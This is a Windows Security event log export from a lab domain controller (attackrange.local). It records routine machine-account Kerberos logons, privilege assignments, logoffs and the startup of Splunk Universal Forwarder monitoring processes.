-Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F4F85 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51489 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256372 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4F85 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256371 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F4F14 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 51488 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256370 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4F14 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256369 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F4ECB - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256368 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4ECB - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256367 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F4DBD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51487 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256366 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4DBD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:17:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256378 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256379 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe44 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256380 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x52c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:17:21 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256381 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F4F85 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256384 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F752A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:17:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256383 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3F752A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51501 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:17:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256382 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3F752A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:18:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256385 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5cc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256387 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256386 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256388 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x328 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256389 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256390 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256391 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf80 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:18:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256394 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3FAACE - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:18:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256393 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3FAACE 